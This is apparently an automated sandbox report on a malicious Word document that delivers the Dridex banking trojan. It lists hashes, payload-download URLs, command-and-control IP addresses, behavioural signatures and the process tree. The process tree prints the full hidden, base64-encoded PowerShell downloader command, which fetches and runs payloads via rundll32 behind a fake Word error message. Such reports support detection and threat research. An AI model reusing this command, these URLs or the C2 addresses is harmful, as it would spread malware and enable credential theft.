Analysis
-
max time kernel
146s -
max time network
146s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
19-11-2020 13:03
Static task
static1
Behavioral task
behavioral1
Sample
Information-478224510.doc
Resource
win7v20201028
General
-
Target
Information-478224510.doc
-
Size
127KB
-
MD5
bb0198d56eff259292f821cf9777f4ea
-
SHA1
67e6018e71d49acecab8018ec3e31388e5afdb09
-
SHA256
8880aa45619f26fcb4cca6671e7decc6dcf94163344a819a156ed9f5bd414d0b
-
SHA512
26585f0ae9576b40ff6635b464fa1cc3947e549a45f0648b4b754ef3225bb605ff5dd4926483636c85eed595102a57eacff634bef65e83cbd3dd54e823f1907f
Malware Config
Extracted
http://wordpress.abbeytek.com/gb9b076.zip
http://garywhitehead.com/j64cw5.rar
http://test.taphoare.com/j4r7zap.rar
http://deepfreedom.org/qz0h69.pdf
http://forestof.life/gkd9jtb9z.png
https://rockingrenergy.info/b6exhyx4.zip
https://aeromiic.com/l8uvw4.pdf
http://jkra.nl/ce5c6ut.pdf
https://amazedelectrical.com.au/ff2e84tvk.pdf
Extracted
dridex
10555
162.241.44.26:9443
192.232.229.53:4443
77.220.64.34:443
193.90.12.121:3098
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1840 3368 cmd.exe -
Processes:
resource yara_rule behavioral2/memory/3836-15-0x0000000004640000-0x000000000467D000-memory.dmp dridex_ldr -
Blocklisted process makes network request 4 IoCs
Processes:
powershell.exerundll32.exeflow pid process 12 2680 powershell.exe 24 3836 rundll32.exe 26 3836 rundll32.exe 34 3836 rundll32.exe -
Loads dropped DLL 1 IoCs
Processes:
rundll32.exepid process 3836 rundll32.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Processes:
rundll32.exedescription ioc process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA rundll32.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 848 WINWORD.EXE 848 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
powershell.exepid process 2680 powershell.exe 2680 powershell.exe 2680 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2680 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
Processes:
WINWORD.EXEpid process 848 WINWORD.EXE 848 WINWORD.EXE 848 WINWORD.EXE 848 WINWORD.EXE 848 WINWORD.EXE 848 WINWORD.EXE 848 WINWORD.EXE -
Suspicious use of WriteProcessMemory 9 IoCs
Processes:
cmd.exepowershell.exerundll32.exedescription pid process target process PID 1840 wrote to memory of 1996 1840 cmd.exe msg.exe PID 1840 wrote to memory of 1996 1840 cmd.exe msg.exe PID 1840 wrote to memory of 2680 1840 cmd.exe powershell.exe PID 1840 wrote to memory of 2680 1840 cmd.exe powershell.exe PID 2680 wrote to memory of 984 2680 powershell.exe rundll32.exe PID 2680 wrote to memory of 984 2680 powershell.exe rundll32.exe PID 984 wrote to memory of 3836 984 rundll32.exe rundll32.exe PID 984 wrote to memory of 3836 984 rundll32.exe rundll32.exe PID 984 wrote to memory of 3836 984 rundll32.exe rundll32.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Information-478224510.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\cmd.execmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & POwersheLL -w hidden -ENCOD IAAgACQAcgBrAG0ANwA9AFsAVAB5AFAARQBdACgAIgB7ADEAfQB7ADMAfQB7ADAAfQB7ADUAfQB7ADIAfQB7ADQAfQAiAC0ARgAnAE0ALgAnACwAJwBTAHkAcwAnACwAJwBvAC4AJwAsACcAVABlACcALAAnAEQASQByAGUAQwBUAE8AUgBZACcALAAnAGkAJwApACAAOwAgACAAIAAkADYAYQA0ACAAIAA9ACAAIABbAFQAWQBQAEUAXQAoACIAewA1AH0AewA2AH0AewA3AH0AewAwAH0AewAzAH0AewAxAH0AewA0AH0AewAyAH0AIgAgAC0AZgAgACcALgBTAGUAcgBWAGkAJwAsACcAZQBQAE8AaQBuAFQATQAnACwAJwByACcALAAnAGMAJwAsACcAQQBuAGEARwBlACcALAAnAHMAWQBzACcALAAnAHQAZQAnACwAJwBNAC4ATgBFAHQAJwApADsAIAAkAEsAbAAwAGkAZAB3ADQAPQAoACgAJwBLACcAKwAnAF8ANwAnACkAKwAnAHYAJwArACgAJwBjACcAKwAnADcAbQAnACkAKQA7ACQAVAB3AG8ANQB6AHUAYwA9ACQASQByADMAMwBjADMAcAAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQARgBpADUAZwB5AHYAZgA7ACQAWgBxAHAAbwB2ADUAZwA9ACgAKAAnAEYAJwArACcAaQBiACcAKQArACgAJwBzAG0AaQAnACsAJwBkACcAKQApADsAIAAgACgAIABnAGMASQAgACAAKAAiAHYAIgArACIAYQBSACIAKwAiAEkAYQBiAGwARQA6AHIASwBtADcAIgApACAAIAApAC4AVgBBAGwAdQBFADoAOgAiAGMAcgBlAGEAdABlAEQAYABpAHIAZQBjAFQAYABPAHIAWQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAHsAMAB9ACcAKwAoACcAVgAnACsAJwBfAF8AcQByACcAKQArACcAaAA0ACcAKwAnAHsAJwArACcAMAAnACsAJwB9AFQAbwB2ADUAbgBuAHgAJwArACcAewAwAH0AJwApAC0AZgAgACAAWwBjAGgAQQByAF0AOQAyACkAKQA7ACQAQgBxAHMAOAB3ADcANwA9ACgAKAAnAFgANgAnACsAJwBiADcAJwApACsAKAAnADMAeAAnACsAJwBjACcAKQApADsAIAAgACgAIAAgAEkAdABlAG0AIAAgAHYAYQByAGkAYQBiAGwARQA6ADYAYQA0ACkALgB2AGEAbABVAEUAOgA6ACIAUwBgAEUAQwB1AFIASQBUAFkAYABQAHIAYABvAFQATwBgAGMAbwBMACIAIAA9ACAAKAAoACcAVAAnACsAJwBsAHMAJwApACsAJwAxADIAJwApADsAJABWAHIAdwB3AHIAMAB2AD0AKAAoACcASAB1AHYANQAyACcAKwAnADkAJwApACsAJwAyACcAKQA7ACQASQBhAG8AdgB2AGoAbwAgAD0AIAAoACgAJwBEACcAKwAnADkAZQBpAGQAJwApACsAJwBqADQAJwArACcAZAB2ACcAKQA7ACQATQAyADQAbABwAHYAZwA9ACgAKAAnAFIANwAnACsAJwB3ACcAKQArACgAJwByAHAAZAAnACsAJwA2ACcAKQApADsAJABRAGIAawBjADcAMABkAD0AKAAnAFQANgAnACsAJwBzADYAJwArACgAJwAyACcAKwAnAHYAegAnACkAKQA7ACQAUwBvADIAdgAzAGIAaAA9ACQASABPAE0ARQArACgAKAAnAHsAMAAnACsAJwB9AFYAJwArACcAXwAnACsAJwBfAHEAJwArACcAcgBoACcAKwAnADQAewAwAH0AVABvAHYANQAnACsAJwBuAG4AeAB7ADAAfQAnACkAIAAgAC0ARgAgACAAWwBDAGgAQQByAF0AOQAyACkAKwAkAEkAYQBvAHYAdgBqAG8AKwAoACcALgAnACsAKAAnAGQAbAAnACsAJwBsACcAKQApADsAJABCAHoAcgA2AHkAXwBlAD0AKAAnAFIAdQAnACsAJwBqADcAJwArACgAJwBvAHkAJwArACcAcwAnACkAKQA7ACQAUQBxAHEAbABoAGUAOQA9AG4AZQBgAHcALQBgAG8AYABCAEoAZQBjAHQAIABuAGUAdAAuAFcARQBiAGMAbABJAEUAbgBUADsAJABaAHgAaQBrAGoAcwBoAD0AKAAoACgAKAAnAGgAdAB0AHAAJwArACcAOgAnACsAJwBRACkAJwApACkAKwAoACgAJwAoAHEAJwArACcAZAAnACkAKQArACgAKAAnAGQAKQAnACkAKQArACgAKAAnACgAUQApACgAcQAnACsAJwBkAGQAJwApACkAKwAoACgAJwApACcAKwAnACgAdwAnACkAKQArACcAbwByACcAKwAnAGQAJwArACgAJwBwAHIAJwArACcAZQAnACkAKwAoACcAcwAnACsAJwBzAC4AYQBiACcAKwAnAGIAZQB5AHQAZQAnACsAJwBrAC4AJwApACsAJwBjAG8AJwArACcAbQAnACsAKAAoACcAUQApACcAKwAnACgAJwArACcAcQBkAGQAKQAnACkAKQArACgAKAAnACgAZwAnACkAKQArACgAJwBiACcAKwAnADkAYgAnACkAKwAnADAAJwArACgAJwA3ADYALgAnACsAJwB6ACcAKQArACcAaQAnACsAJwBwAEAAJwArACgAJwBoAHQAdAAnACsAJwBwACcAKQArACgAKAAnADoAUQApACgAJwArACcAcQAnACkAKQArACgAKAAnAGQAZAAnACsAJwApACgAUQAnACkAKQArACcAKQAnACsAJwAoACcAKwAoACcAcQBkACcAKwAnAGQAJwApACsAKAAoACcAKQAoACcAKwAnAGcAJwApACkAKwAnAGEAcgAnACsAJwB5ACcAKwAoACcAdwBoAGkAdAAnACsAJwBlACcAKQArACgAKAAnAGgAZQBhACcAKwAnAGQALgBjAG8AbQBRACcAKwAnACkAKAAnACkAKQArACcAcQBkACcAKwAoACgAJwBkACkAJwApACkAKwAoACgAJwAoAGoAJwApACkAKwAoACcANgA0AGMAdwAnACsAJwA1ACcAKQArACcALgByACcAKwAnAGEAcgAnACsAKAAnAEAAJwArACcAaAB0ACcAKQArACgAKAAnAHQAcAA6AFEAJwArACcAKQAoACcAKwAnAHEAZABkACcAKQApACsAKAAoACcAKQAoACcAKQApACsAJwBRACcAKwAnACkAJwArACgAKAAnACgAcQAnACsAJwBkACcAKQApACsAKAAoACcAZAApACcAKwAnACgAdAAnACsAJwBlAHMAdAAnACsAJwAuAHQAYQAnACsAJwBwAGgAbwBhAHIAZQAnACsAJwAuACcAKQApACsAJwBjACcAKwAnAG8AbQAnACsAJwBRACcAKwAnACkAJwArACgAKAAnACgAcQBkACcAKwAnAGQAJwApACkAKwAoACgAJwApACcAKwAnACgAagA0AHIAJwApACkAKwAnADcAJwArACgAJwB6ACcAKwAnAGEAcAAuACcAKQArACcAcgBhACcAKwAnAHIAJwArACcAQABoACcAKwAoACgAJwB0AHQAcAA6AFEAJwArACcAKQAnACkAKQArACcAKAAnACsAKAAoACcAcQBkACcAKwAnAGQAJwArACcAKQAoAFEAJwApACkAKwAoACgAJwApACgAJwApACkAKwAoACgAJwBxACcAKwAnAGQAZAApACgAJwApACkAKwAnAGQAJwArACgAJwBlAGUAcABmACcAKwAnAHIAJwApACsAKAAnAGUAJwArACcAZQBkAG8AJwApACsAKAAoACcAbQAuACcAKwAnAG8AcgBnAFEAJwArACcAKQAnACsAJwAoAHEAZABkACkAKAAnACkAKQArACcAcQAnACsAKAAnAHoAMABoADYAOQAuACcAKwAnAHAAJwApACsAJwBkAGYAJwArACcAQAAnACsAKAAoACcAaAAnACsAJwB0AHQAJwArACcAcAA6ACcAKwAnAFEAKQAoAHEAZABkACcAKQApACsAKAAoACcAKQAoAFEAJwArACcAKQAnACkAKQArACgAKAAnACgAcQAnACsAJwBkAGQAJwApACkAKwAoACgAJwApACcAKwAnACgAZgBvACcAKQApACsAKAAnAHIAJwArACcAZQAnACsAJwBzAHQAbwBmAC4AJwApACsAKAAoACcAbABpAGYAJwArACcAZQBRACkAKAAnACkAKQArACcAcQBkACcAKwAoACgAJwBkACkAJwArACcAKAAnACkAKQArACgAJwBnACcAKwAnAGsAZAA5AGoAJwArACcAdABiADkAJwApACsAKAAnAHoALgBwAG4AJwArACcAZwBAACcAKQArACgAJwBoACcAKwAnAHQAdABwACcAKQArACcAcwA6ACcAKwAoACgAJwBRACcAKwAnACkAKAAnACkAKQArACgAJwBxAGQAJwArACcAZAAnACkAKwAoACgAJwApACgAJwArACcAUQApACcAKQApACsAKAAoACcAKABxACcAKQApACsAKAAoACcAZAAnACsAJwBkACkAJwApACkAKwAoACgAJwAoAHIAJwArACcAbwBjAGsAaQBuACcAKQApACsAJwBnACcAKwAnAHIAJwArACgAJwBlAG4AJwArACcAZQAnACkAKwAoACcAcgAnACsAJwBnAHkALgAnACkAKwAoACcAaQAnACsAJwBuAGYAJwApACsAKAAoACcAbwBRACcAKwAnACkAJwApACkAKwAoACgAJwAoAHEAJwApACkAKwAoACgAJwBkAGQAKQAoACcAKwAnAGIAJwApACkAKwAoACcANgAnACsAJwBlAHgAaAAnACsAJwB5AHgANAAnACkAKwAoACcALgAnACsAJwB6AGkAJwApACsAKAAnAHAAJwArACcAQABoACcAKQArACcAdAAnACsAJwB0AHAAJwArACcAcwA6ACcAKwAoACgAJwBRACcAKwAnACkAKAAnACkAKQArACgAJwBxACcAKwAnAGQAZAAnACkAKwAnACkAJwArACcAKAAnACsAKAAoACcAUQAnACsAJwApACgAJwApACkAKwAnAHEAZAAnACsAKAAoACcAZAAnACsAJwApACgAYQBlACcAKwAnAHIAbwBtAGkAJwApACkAKwAnAGkAJwArACcAYwAnACsAJwAuAGMAJwArACgAKAAnAG8AJwArACcAbQBRACkAKAAnACsAJwBxACcAKQApACsAKAAoACcAZABkACcAKwAnACkAKABsADgAdQAnACkAKQArACgAJwB2AHcAJwArACcANAAnACkAKwAnAC4AcAAnACsAJwBkAGYAJwArACcAQAAnACsAJwBoAHQAJwArACgAKAAnAHQAcAA6AFEAKQAoAHEAZABkACkAKABRACcAKwAnACkAJwArACcAKABxAGQAJwArACcAZAAnACkAKQArACcAKQAnACsAJwAoACcAKwAnAGoAJwArACcAawAnACsAKAAoACcAcgBhACcAKwAnAC4AbgAnACsAJwBsAFEAJwArACcAKQAnACsAJwAoAHEAZABkACkAKABjACcAKQApACsAKAAnAGUANQBjACcAKwAnADYAJwArACcAdQB0ACcAKQArACcALgAnACsAKAAnAHAAJwArACcAZABmAEAAJwApACsAJwBoAHQAJwArACcAdABwACcAKwAoACgAJwBzADoAJwArACcAUQApACgAcQBkAGQAKQAoAFEAKQAnACsAJwAoAHEAJwApACkAKwAnAGQAZAAnACsAKAAoACcAKQAoACcAKQApACsAKAAnAGEAbQAnACsAJwBhAHoAJwApACsAKAAnAGUAZABlAGwAZQAnACsAJwBjACcAKwAnAHQAcgAnACkAKwAoACcAaQAnACsAJwBjAGEAJwApACsAKAAnAGwAJwArACcALgBjAG8AJwApACsAJwBtACcAKwAoACgAJwAuAGEAdQAnACsAJwBRACkAJwApACkAKwAoACgAJwAoAHEAZAAnACsAJwBkACcAKQApACsAKAAoACcAKQAoAGYAZgAnACsAJwAyACcAKQApACsAKAAnAGUAOAA0ACcAKwAnAHQAdgAnACkAKwAnAGsALgAnACsAJwBwAGQAJwArACcAZgAnACkAKQAuACIAUgBFAFAAYABMAEEAYABDAGUAIgAoACgAKAAoACgAJwBRACkAKAAnACsAJwBxACcAKQApACsAKAAoACcAZAAnACsAJwBkACkAJwApACkAKwAnACgAJwApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAC8AJwApACwAKAAnAGgAJwArACcAdwBlACcAKQApAFsAMABdACkALgAiAFMAUABMAGAAaQBUACIAKAAkAEoAYwB4ADIANQB0ADcAIAArACAAJABUAHcAbwA1AHoAdQBjACAAKwAgACQAUQAyAHUAdgBjAGwAcgApADsAJABFAGQAcAAxAHcAYQBtAD0AKAAnAFkAawAnACsAKAAnAG8AJwArACcAbQAxAGkAJwApACsAJwB5ACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAQQA0AHMAdwBoAHIAegAgAGkAbgAgACQAWgB4AGkAawBqAHMAaAAgAHwAIABTAG8AcgBgAFQALQBvAGAAQgBqAGAAZQBDAFQAIAB7AGcARQBUAC0AYABSAEEATgBgAGQATwBNAH0AKQB7AHQAcgB5AHsAJABRAHEAcQBsAGgAZQA5AC4AIgBkAG8AVwBOAGwAbwBgAEEARABmAGkAYABMAGUAIgAoACQAQQA0AHMAdwBoAHIAegAsACAAJABTAG8AMgB2ADMAYgBoACkAOwAkAEkAcgByAHoAMAAwAHoAPQAoACgAJwBWADAAJwArACcAaAA5AHAAJwArACcAdAAnACkAKwAnADkAJwApADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAFMAbwAyAHYAMwBiAGgAKQAuACIAbABlAGAATgBnAHQAaAAiACAALQBnAGUAIAAzADYANgA2ADEAKQAgAHsAJgAoACcAcgB1AG4AZABsAGwAJwArACcAMwAnACsAJwAyAC4AZQB4ACcAKwAnAGUAJwApACAAJABTAG8AMgB2ADMAYgBoACwAMAA7ACQARQAxAGsAaQAzAHAAbQA9ACgAKAAnAFoANQB1ACcAKwAnAGUAJwApACsAKAAnAHUAJwArACcANQBwACcAKQApADsAYgByAGUAYQBrADsAJABMAGoAdgA2ADMAZQBpAD0AKAAoACcAWAA4ACcAKwAnAHkAJwApACsAJwA1AHAAJwArACcAaABvACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQgBqAHQAcwBvADYAdQA9ACgAKAAnAEQAXwBfACcAKwAnAGYAZgAnACkAKwAnAHAAJwArACcAagAnACkA1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\msg.exemsg Admin /v Word experienced an error trying to open the file.2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePOwersheLL -w hidden -ENCOD IAAgACQAcgBrAG0ANwA9AFsAVAB5AFAARQBdACgAIgB7ADEAfQB7ADMAfQB7ADAAfQB7ADUAfQB7ADIAfQB7ADQAfQAiAC0ARgAnAE0ALgAnACwAJwBTAHkAcwAnACwAJwBvAC4AJwAsACcAVABlACcALAAnAEQASQByAGUAQwBUAE8AUgBZACcALAAnAGkAJwApACAAOwAgACAAIAAkADYAYQA0ACAAIAA9ACAAIABbAFQAWQBQAEUAXQAoACIAewA1AH0AewA2AH0AewA3AH0AewAwAH0AewAzAH0AewAxAH0AewA0AH0AewAyAH0AIgAgAC0AZgAgACcALgBTAGUAcgBWAGkAJwAsACcAZQBQAE8AaQBuAFQATQAnACwAJwByACcALAAnAGMAJwAsACcAQQBuAGEARwBlACcALAAnAHMAWQBzACcALAAnAHQAZQAnACwAJwBNAC4ATgBFAHQAJwApADsAIAAkAEsAbAAwAGkAZAB3ADQAPQAoACgAJwBLACcAKwAnAF8ANwAnACkAKwAnAHYAJwArACgAJwBjACcAKwAnADcAbQAnACkAKQA7ACQAVAB3AG8ANQB6AHUAYwA9ACQASQByADMAMwBjADMAcAAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQARgBpADUAZwB5AHYAZgA7ACQAWgBxAHAAbwB2ADUAZwA9ACgAKAAnAEYAJwArACcAaQBiACcAKQArACgAJwBzAG0AaQAnACsAJwBkACcAKQApADsAIAAgACgAIABnAGMASQAgACAAKAAiAHYAIgArACIAYQBSACIAKwAiAEkAYQBiAGwARQA6AHIASwBtADcAIgApACAAIAApAC4AVgBBAGwAdQBFADoAOgAiAGMAcgBlAGEAdABlAEQAYABpAHIAZQBjAFQAYABPAHIAWQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAHsAMAB9ACcAKwAoACcAVgAnACsAJwBfAF8AcQByACcAKQArACcAaAA0ACcAKwAnAHsAJwArACcAMAAnACsAJwB9AFQAbwB2ADUAbgBuAHgAJwArACcAewAwAH0AJwApAC0AZgAgACAAWwBjAGgAQQByAF0AOQAyACkAKQA7ACQAQgBxAHMAOAB3ADcANwA9ACgAKAAnAFgANgAnACsAJwBiADcAJwApACsAKAAnADMAeAAnACsAJwBjACcAKQApADsAIAAgACgAIAAgAEkAdABlAG0AIAAgAHYAYQByAGkAYQBiAGwARQA6ADYAYQA0ACkALgB2AGEAbABVAEUAOgA6ACIAUwBgAEUAQwB1AFIASQBUAFkAYABQAHIAYABvAFQATwBgAGMAbwBMACIAIAA9ACAAKAAoACcAVAAnACsAJwBsAHMAJwApACsAJwAxADIAJwApADsAJABWAHIAdwB3AHIAMAB2AD0AKAAoACcASAB1AHYANQAyACcAKwAnADkAJwApACsAJwAyACcAKQA7ACQASQBhAG8AdgB2AGoAbwAgAD0AIAAoACgAJwBEACcAKwAnADkAZQBpAGQAJwApACsAJwBqADQAJwArACcAZAB2ACcAKQA7ACQATQAyADQAbABwAHYAZwA9ACgAKAAnAFIANwAnACsAJwB3ACcAKQArACgAJwByAHAAZAAnACsAJwA2ACcAKQApADsAJABRAGIAawBjADcAMABkAD0AKAAnAFQANgAnACsAJwBzADYAJwArACgAJwAyACcAKwAnAHYAegAnACkAKQA7ACQAUwBvADIAdgAzAGIAaAA9ACQASABPAE0ARQArACgAKAAnAHsAMAAnACsAJwB9AFYAJwArACcAXwAnACsAJwBfAHEAJwArACcAcgBoACcAKwAnADQAewAwAH0AVABvAHYANQAnACsAJwBuAG4AeAB7ADAAfQAnACkAIAAgAC0ARgAgACAAWwBDAGgAQQByAF0AOQAyACkAKwAkAEkAYQBvAHYAdgBqAG8AKwAoACcALgAnACsAKAAnAGQAbAAnACsAJwBsACcAKQApADsAJABCAHoAcgA2AHkAXwBlAD0AKAAnAFIAdQAnACsAJwBqADcAJwArACgAJwBvAHkAJwArACcAcwAnACkAKQA7ACQAUQBxAHEAbABoAGUAOQA9AG4AZQBgAHcALQBgAG8AYABCAEoAZQBjAHQAIABuAGUAdAAuAFcARQBiAGMAbABJAEUAbgBUADsAJABaAHgAaQBrAGoAcwBoAD0AKAAoACgAKAAnAGgAdAB0AHAAJwArACcAOgAnACsAJwBRACkAJwApACkAKwAoACgAJwAoAHEAJwArACcAZAAnACkAKQArACgAKAAnAGQAKQAnACkAKQArACgAKAAnACgAUQApACgAcQAnACsAJwBkAGQAJwApACkAKwAoACgAJwApACcAKwAnACgAdwAnACkAKQArACcAbwByACcAKwAnAGQAJwArACgAJwBwAHIAJwArACcAZQAnACkAKwAoACcAcwAnACsAJwBzAC4AYQBiACcAKwAnAGIAZQB5AHQAZQAnACsAJwBrAC4AJwApACsAJwBjAG8AJwArACcAbQAnACsAKAAoACcAUQApACcAKwAnACgAJwArACcAcQBkAGQAKQAnACkAKQArACgAKAAnACgAZwAnACkAKQArACgAJwBiACcAKwAnADkAYgAnACkAKwAnADAAJwArACgAJwA3ADYALgAnACsAJwB6ACcAKQArACcAaQAnACsAJwBwAEAAJwArACgAJwBoAHQAdAAnACsAJwBwACcAKQArACgAKAAnADoAUQApACgAJwArACcAcQAnACkAKQArACgAKAAnAGQAZAAnACsAJwApACgAUQAnACkAKQArACcAKQAnACsAJwAoACcAKwAoACcAcQBkACcAKwAnAGQAJwApACsAKAAoACcAKQAoACcAKwAnAGcAJwApACkAKwAnAGEAcgAnACsAJwB5ACcAKwAoACcAdwBoAGkAdAAnACsAJwBlACcAKQArACgAKAAnAGgAZQBhACcAKwAnAGQALgBjAG8AbQBRACcAKwAnACkAKAAnACkAKQArACcAcQBkACcAKwAoACgAJwBkACkAJwApACkAKwAoACgAJwAoAGoAJwApACkAKwAoACcANgA0AGMAdwAnACsAJwA1ACcAKQArACcALgByACcAKwAnAGEAcgAnACsAKAAnAEAAJwArACcAaAB0ACcAKQArACgAKAAnAHQAcAA6AFEAJwArACcAKQAoACcAKwAnAHEAZABkACcAKQApACsAKAAoACcAKQAoACcAKQApACsAJwBRACcAKwAnACkAJwArACgAKAAnACgAcQAnACsAJwBkACcAKQApACsAKAAoACcAZAApACcAKwAnACgAdAAnACsAJwBlAHMAdAAnACsAJwAuAHQAYQAnACsAJwBwAGgAbwBhAHIAZQAnACsAJwAuACcAKQApACsAJwBjACcAKwAnAG8AbQAnACsAJwBRACcAKwAnACkAJwArACgAKAAnACgAcQBkACcAKwAnAGQAJwApACkAKwAoACgAJwApACcAKwAnACgAagA0AHIAJwApACkAKwAnADcAJwArACgAJwB6ACcAKwAnAGEAcAAuACcAKQArACcAcgBhACcAKwAnAHIAJwArACcAQABoACcAKwAoACgAJwB0AHQAcAA6AFEAJwArACcAKQAnACkAKQArACcAKAAnACsAKAAoACcAcQBkACcAKwAnAGQAJwArACcAKQAoAFEAJwApACkAKwAoACgAJwApACgAJwApACkAKwAoACgAJwBxACcAKwAnAGQAZAApACgAJwApACkAKwAnAGQAJwArACgAJwBlAGUAcABmACcAKwAnAHIAJwApACsAKAAnAGUAJwArACcAZQBkAG8AJwApACsAKAAoACcAbQAuACcAKwAnAG8AcgBnAFEAJwArACcAKQAnACsAJwAoAHEAZABkACkAKAAnACkAKQArACcAcQAnACsAKAAnAHoAMABoADYAOQAuACcAKwAnAHAAJwApACsAJwBkAGYAJwArACcAQAAnACsAKAAoACcAaAAnACsAJwB0AHQAJwArACcAcAA6ACcAKwAnAFEAKQAoAHEAZABkACcAKQApACsAKAAoACcAKQAoAFEAJwArACcAKQAnACkAKQArACgAKAAnACgAcQAnACsAJwBkAGQAJwApACkAKwAoACgAJwApACcAKwAnACgAZgBvACcAKQApACsAKAAnAHIAJwArACcAZQAnACsAJwBzAHQAbwBmAC4AJwApACsAKAAoACcAbABpAGYAJwArACcAZQBRACkAKAAnACkAKQArACcAcQBkACcAKwAoACgAJwBkACkAJwArACcAKAAnACkAKQArACgAJwBnACcAKwAnAGsAZAA5AGoAJwArACcAdABiADkAJwApACsAKAAnAHoALgBwAG4AJwArACcAZwBAACcAKQArACgAJwBoACcAKwAnAHQAdABwACcAKQArACcAcwA6ACcAKwAoACgAJwBRACcAKwAnACkAKAAnACkAKQArACgAJwBxAGQAJwArACcAZAAnACkAKwAoACgAJwApACgAJwArACcAUQApACcAKQApACsAKAAoACcAKABxACcAKQApACsAKAAoACcAZAAnACsAJwBkACkAJwApACkAKwAoACgAJwAoAHIAJwArACcAbwBjAGsAaQBuACcAKQApACsAJwBnACcAKwAnAHIAJwArACgAJwBlAG4AJwArACcAZQAnACkAKwAoACcAcgAnACsAJwBnAHkALgAnACkAKwAoACcAaQAnACsAJwBuAGYAJwApACsAKAAoACcAbwBRACcAKwAnACkAJwApACkAKwAoACgAJwAoAHEAJwApACkAKwAoACgAJwBkAGQAKQAoACcAKwAnAGIAJwApACkAKwAoACcANgAnACsAJwBlAHgAaAAnACsAJwB5AHgANAAnACkAKwAoACcALgAnACsAJwB6AGkAJwApACsAKAAnAHAAJwArACcAQABoACcAKQArACcAdAAnACsAJwB0AHAAJwArACcAcwA6ACcAKwAoACgAJwBRACcAKwAnACkAKAAnACkAKQArACgAJwBxACcAKwAnAGQAZAAnACkAKwAnACkAJwArACcAKAAnACsAKAAoACcAUQAnACsAJwApACgAJwApACkAKwAnAHEAZAAnACsAKAAoACcAZAAnACsAJwApACgAYQBlACcAKwAnAHIAbwBtAGkAJwApACkAKwAnAGkAJwArACcAYwAnACsAJwAuAGMAJwArACgAKAAnAG8AJwArACcAbQBRACkAKAAnACsAJwBxACcAKQApACsAKAAoACcAZABkACcAKwAnACkAKABsADgAdQAnACkAKQArACgAJwB2AHcAJwArACcANAAnACkAKwAnAC4AcAAnACsAJwBkAGYAJwArACcAQAAnACsAJwBoAHQAJwArACgAKAAnAHQAcAA6AFEAKQAoAHEAZABkACkAKABRACcAKwAnACkAJwArACcAKABxAGQAJwArACcAZAAnACkAKQArACcAKQAnACsAJwAoACcAKwAnAGoAJwArACcAawAnACsAKAAoACcAcgBhACcAKwAnAC4AbgAnACsAJwBsAFEAJwArACcAKQAnACsAJwAoAHEAZABkACkAKABjACcAKQApACsAKAAnAGUANQBjACcAKwAnADYAJwArACcAdQB0ACcAKQArACcALgAnACsAKAAnAHAAJwArACcAZABmAEAAJwApACsAJwBoAHQAJwArACcAdABwACcAKwAoACgAJwBzADoAJwArACcAUQApACgAcQBkAGQAKQAoAFEAKQAnACsAJwAoAHEAJwApACkAKwAnAGQAZAAnACsAKAAoACcAKQAoACcAKQApACsAKAAnAGEAbQAnACsAJwBhAHoAJwApACsAKAAnAGUAZABlAGwAZQAnACsAJwBjACcAKwAnAHQAcgAnACkAKwAoACcAaQAnACsAJwBjAGEAJwApACsAKAAnAGwAJwArACcALgBjAG8AJwApACsAJwBtACcAKwAoACgAJwAuAGEAdQAnACsAJwBRACkAJwApACkAKwAoACgAJwAoAHEAZAAnACsAJwBkACcAKQApACsAKAAoACcAKQAoAGYAZgAnACsAJwAyACcAKQApACsAKAAnAGUAOAA0ACcAKwAnAHQAdgAnACkAKwAnAGsALgAnACsAJwBwAGQAJwArACcAZgAnACkAKQAuACIAUgBFAFAAYABMAEEAYABDAGUAIgAoACgAKAAoACgAJwBRACkAKAAnACsAJwBxACcAKQApACsAKAAoACcAZAAnACsAJwBkACkAJwApACkAKwAnACgAJwApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAC8AJwApACwAKAAnAGgAJwArACcAdwB